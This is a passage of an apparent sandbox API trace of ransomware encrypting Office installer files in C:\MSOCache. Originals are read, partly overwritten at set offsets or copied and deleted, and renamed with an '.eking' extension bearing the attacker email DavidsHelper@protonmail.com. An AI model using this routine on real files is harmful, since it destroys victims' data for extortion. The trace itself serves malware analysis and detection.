| out: lpBuffer=0x3250020*, lpNumberOfBytesRead=0x2e3f9bc*=0xd4200, lpOverlapped=0x0) returned 1 [0208.710] WriteFile (in: hFile=0x17c, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0xd4210, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0xd4210, lpOverlapped=0x0) returned 1 [0208.736] WriteFile (in: hFile=0x17c, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0xf2, lpOverlapped=0x0) returned 1 [0209.057] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f710 | out: lpNewFilePointer=0x0) returned 1 [0209.057] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f710 | out: lpNewFilePointer=0x0) returned 1 [0209.057] WriteFile (in: hFile=0x168, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0xd4200, lpNumberOfBytesWritten=0x2e3f71c, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f71c*=0xd4200, lpOverlapped=0x0) returned 1 [0209.060] FlushFileBuffers (hFile=0x168) returned 1 [0209.668] FlushFileBuffers (hFile=0x17c) returned 1 [0210.139] CloseHandle (hObject=0x168) returned 1 [0210.139] CloseHandle (hObject=0x17c) returned 1 [0210.140] DeleteFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.msi")) returned 1 [0210.150] SetEvent (hEvent=0xe0) returned 1 [0210.151] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0210.151] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x2e3f9e8 | out: lpFileSize=0x2e3f9e8*=5884) returned 1 [0210.151] CloseHandle (hObject=0x17c) returned 1 [0210.151] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0210.152] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0210.152] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0210.152] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0210.152] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9b0 | out: lpNewFilePointer=0x0) returned 1 [0210.152] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9b0 | out: lpNewFilePointer=0x0) returned 1 [0210.152] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0x168 [0210.152] ReadFile (in: hFile=0x17c, lpBuffer=0x3250020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e3f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesRead=0x2e3f9bc*=0x16fc, lpOverlapped=0x0) returned 1 [0210.163] WriteFile (in: hFile=0x168, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0x1700, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0x1700, lpOverlapped=0x0) returned 1 [0210.165] WriteFile (in: hFile=0x168, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0xf2, lpOverlapped=0x0) returned 1 [0210.165] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f710 | out: lpNewFilePointer=0x0) returned 1 [0210.165] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f710 | out: lpNewFilePointer=0x0) returned 1 [0210.165] WriteFile (in: hFile=0x17c, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0x16fc, lpNumberOfBytesWritten=0x2e3f71c, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f71c*=0x16fc, lpOverlapped=0x0) returned 1 [0210.166] FlushFileBuffers (hFile=0x17c) returned 1 [0210.330] FlushFileBuffers (hFile=0x168) returned 1 [0210.445] CloseHandle (hObject=0x17c) returned 1 [0210.445] CloseHandle (hObject=0x168) returned 1 [0210.446] DeleteFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0210.447] SetEvent (hEvent=0xe0) returned 1 [0210.448] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0210.450] GetFileSizeEx (in: hFile=0x168, lpFileSize=0x2e3f9e8 | out: lpFileSize=0x2e3f9e8*=873984) returned 1 [0210.450] CloseHandle (hObject=0x168) returned 1 [0210.450] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.msi")) returned 0x2020 [0210.450] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.msi")) returned 0x2020 [0210.450] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.msi.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0210.450] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0210.450] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9b0 | out: lpNewFilePointer=0x0) returned 1 [0210.450] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9b0 | out: lpNewFilePointer=0x0) returned 1 [0210.450] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.msi.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0x17c [0210.451] ReadFile (in: hFile=0x168, lpBuffer=0x3250020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e3f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesRead=0x2e3f9bc*=0xd5600, lpOverlapped=0x0) returned 1 [0210.625] WriteFile (in: hFile=0x17c, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0xd5610, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0xd5610, lpOverlapped=0x0) returned 1 [0210.644] WriteFile (in: hFile=0x17c, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0xf2, lpOverlapped=0x0) returned 1 [0210.644] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f710 | out: lpNewFilePointer=0x0) returned 1 [0210.644] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f710 | out: lpNewFilePointer=0x0) returned 1 [0210.644] WriteFile (in: hFile=0x168, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0xd5600, lpNumberOfBytesWritten=0x2e3f71c, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f71c*=0xd5600, lpOverlapped=0x0) returned 1 [0210.647] FlushFileBuffers (hFile=0x168) returned 1 [0210.813] FlushFileBuffers (hFile=0x17c) returned 1 [0211.101] CloseHandle (hObject=0x168) returned 1 [0211.101] CloseHandle (hObject=0x17c) returned 1 [0211.101] DeleteFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.msi")) returned 1 [0211.109] SetEvent (hEvent=0xe0) returned 1 [0211.109] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\owow32lr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0211.110] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x2e3f9e8 | out: lpFileSize=0x2e3f9e8*=2928955) returned 1 [0211.110] CloseHandle (hObject=0x17c) returned 1 [0211.110] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\owow32lr.cab")) returned 0x2020 [0211.110] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\owow32lr.cab"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\owow32lr.cab.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 1 [0211.111] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\owow32lr.cab.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0211.111] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f838 | out: lpNewFilePointer=0x0) returned 1 [0211.111] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f838 | out: lpNewFilePointer=0x0) returned 1 [0211.111] ReadFile (in: hFile=0x17c, lpBuffer=0x3250058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e3f844, lpOverlapped=0x0 | out: lpBuffer=0x3250058*, lpNumberOfBytesRead=0x2e3f844*=0x40000, lpOverlapped=0x0) returned 1 [0211.159] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0xee5be, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f838 | out: lpNewFilePointer=0x0) returned 1 [0211.159] ReadFile (in: hFile=0x17c, lpBuffer=0x3290058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e3f844, lpOverlapped=0x0 | out: lpBuffer=0x3290058*, lpNumberOfBytesRead=0x2e3f844*=0x40000, lpOverlapped=0x0) returned 1 [0211.256] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x28b13b, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f838 | out: lpNewFilePointer=0x0) returned 1 [0211.256] ReadFile (in: hFile=0x17c, lpBuffer=0x32d0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e3f844, lpOverlapped=0x0 | out: lpBuffer=0x32d0058*, lpNumberOfBytesRead=0x2e3f844*=0x40000, lpOverlapped=0x0) returned 1 [0211.543] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9a8 | out: lpNewFilePointer=0x0) returned 1 [0211.543] WriteFile (in: hFile=0x17c, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0xc0112, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0xc0112, lpOverlapped=0x0) returned 1 [0211.604] SetEndOfFile (hFile=0x17c) returned 1 [0211.604] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x28b13b, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f840 | out: lpNewFilePointer=0x0) returned 1 [0211.604] WriteFile (in: hFile=0x17c, lpBuffer=0x331014a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e3f84c, lpOverlapped=0x0 | out: lpBuffer=0x331014a*, lpNumberOfBytesWritten=0x2e3f84c*=0x40000, lpOverlapped=0x0) returned 1 [0211.607] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0xee5be, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f840 | out: lpNewFilePointer=0x0) returned 1 [0211.607] WriteFile (in: hFile=0x17c, lpBuffer=0x331014a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e3f84c, lpOverlapped=0x0 | out: lpBuffer=0x331014a*, lpNumberOfBytesWritten=0x2e3f84c*=0x40000, lpOverlapped=0x0) returned 1 [0211.611] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f840 | out: lpNewFilePointer=0x0) returned 1 [0211.611] WriteFile (in: hFile=0x17c, lpBuffer=0x331014a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e3f84c, lpOverlapped=0x0 | out: lpBuffer=0x331014a*, lpNumberOfBytesWritten=0x2e3f84c*=0x40000, lpOverlapped=0x0) returned 1 [0211.613] FlushFileBuffers (hFile=0x17c) returned 1 [0213.635] CloseHandle (hObject=0x17c) returned 1 [0213.635] SetEvent (hEvent=0xe0) returned 1 [0213.636] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0213.637] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x2e3f9e8 | out: lpFileSize=0x2e3f9e8*=3124224) returned 1 [0213.637] CloseHandle (hObject=0x17c) returned 1 [0213.637] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.msi")) returned 0x2020 [0213.637] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.msi"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.msi.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 1 [0213.639] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.msi.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0213.639] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f838 | out: lpNewFilePointer=0x0) returned 1 [0213.639] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f838 | out: lpNewFilePointer=0x0) returned 1 [0213.639] ReadFile (in: hFile=0x17c, lpBuffer=0x3250058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e3f844, lpOverlapped=0x0 | out: lpBuffer=0x3250058*, lpNumberOfBytesRead=0x2e3f844*=0x40000, lpOverlapped=0x0) returned 1 [0213.775] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0xfe400, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f838 | out: lpNewFilePointer=0x0) returned 1 [0213.775] ReadFile (in: hFile=0x17c, lpBuffer=0x3290058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e3f844, lpOverlapped=0x0 | out: lpBuffer=0x3290058*, lpNumberOfBytesRead=0x2e3f844*=0x40000, lpOverlapped=0x0) returned 1 [0214.491] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x2bac00, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f838 | out: lpNewFilePointer=0x0) returned 1 [0214.491] ReadFile (in: hFile=0x17c, lpBuffer=0x32d0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e3f844, lpOverlapped=0x0 | out: lpBuffer=0x32d0058*, lpNumberOfBytesRead=0x2e3f844*=0x40000, lpOverlapped=0x0) returned 1 [0215.096] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9a8 | out: lpNewFilePointer=0x0) returned 1 [0215.096] WriteFile (in: hFile=0x17c, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0xc0112, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0xc0112, lpOverlapped=0x0) returned 1 [0215.127] SetEndOfFile (hFile=0x17c) returned 1 [0215.128] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x2bac00, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f840 | out: lpNewFilePointer=0x0) returned 1 [0215.128] WriteFile (in: hFile=0x17c, lpBuffer=0x331014a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e3f84c, lpOverlapped=0x0 | out: lpBuffer=0x331014a*, lpNumberOfBytesWritten=0x2e3f84c*=0x40000, lpOverlapped=0x0) returned 1 [0215.130] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0xfe400, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f840 | out: lpNewFilePointer=0x0) returned 1 [0215.130] WriteFile (in: hFile=0x17c, lpBuffer=0x331014a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e3f84c, lpOverlapped=0x0 | out: lpBuffer=0x331014a*, lpNumberOfBytesWritten=0x2e3f84c*=0x40000, lpOverlapped=0x0) returned 1 [0215.133] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f840 | out: lpNewFilePointer=0x0) returned 1 [0215.133] WriteFile (in: hFile=0x17c, lpBuffer=0x331014a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e3f84c, lpOverlapped=0x0 | out: lpBuffer=0x331014a*, lpNumberOfBytesWritten=0x2e3f84c*=0x40000, lpOverlapped=0x0) returned 1 [0215.134] FlushFileBuffers (hFile=0x17c) returned 1 [0217.845] CloseHandle (hObject=0x17c) returned 1 [0217.846] SetEvent (hEvent=0xe0) returned 1 [0217.846] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0217.847] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x2e3f9e8 | out: lpFileSize=0x2e3f9e8*=2797568) returned 1 [0217.847] CloseHandle (hObject=0x17c) returned 1 [0217.847] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.msi")) returned 0x2020 [0217.847] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.msi"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.msi.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 1 [0217.848] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.msi.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0217.848] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f838 | out: lpNewFilePointer=0x0) returned 1 [0217.848] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f838 | out: lpNewFilePointer=0x0) returned 1 [0217.848] ReadFile (in: hFile=0x17c, lpBuffer=0x3250058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e3f844, lpOverlapped=0x0 | out: lpBuffer=0x3250058*, lpNumberOfBytesRead=0x2e3f844*=0x40000, lpOverlapped=0x0) returned 1 [0217.853] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0xe3aaa, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f838 | out: lpNewFilePointer=0x0) returned 1 [0217.853] ReadFile (in: hFile=0x17c, lpBuffer=0x3290058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e3f844, lpOverlapped=0x0 | out: lpBuffer=0x3290058*, lpNumberOfBytesRead=0x2e3f844*=0x40000, lpOverlapped=0x0) returned 1 [0217.864] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x26b000, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f838 | out: lpNewFilePointer=0x0) returned 1 [0217.864] ReadFile (in: hFile=0x17c, lpBuffer=0x32d0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e3f844, lpOverlapped=0x0 | out: lpBuffer=0x32d0058*, lpNumberOfBytesRead=0x2e3f844*=0x40000, lpOverlapped=0x0) returned 1 [0217.876] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9a8 | out: lpNewFilePointer=0x0) returned 1 [0217.876] WriteFile (in: hFile=0x17c, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0xc0112, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0xc0112, lpOverlapped=0x0) returned 1 [0217.923] SetEndOfFile (hFile=0x17c) returned 1 [0217.924] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x26b000, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f840 | out: lpNewFilePointer=0x0) returned 1 [0217.924] WriteFile (in: hFile=0x17c, lpBuffer=0x331014a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e3f84c, lpOverlapped=0x0 | out: lpBuffer=0x331014a*, lpNumberOfBytesWritten=0x2e3f84c*=0x40000, lpOverlapped=0x0) returned 1 [0217.926] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0xe3aaa, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f840 | out: lpNewFilePointer=0x0) returned 1 [0217.926] WriteFile (in: hFile=0x17c, lpBuffer=0x331014a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e3f84c, lpOverlapped=0x0 | out: lpBuffer=0x331014a*, lpNumberOfBytesWritten=0x2e3f84c*=0x40000, lpOverlapped=0x0) returned 1 [0217.930] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f840 | out: lpNewFilePointer=0x0) returned 1 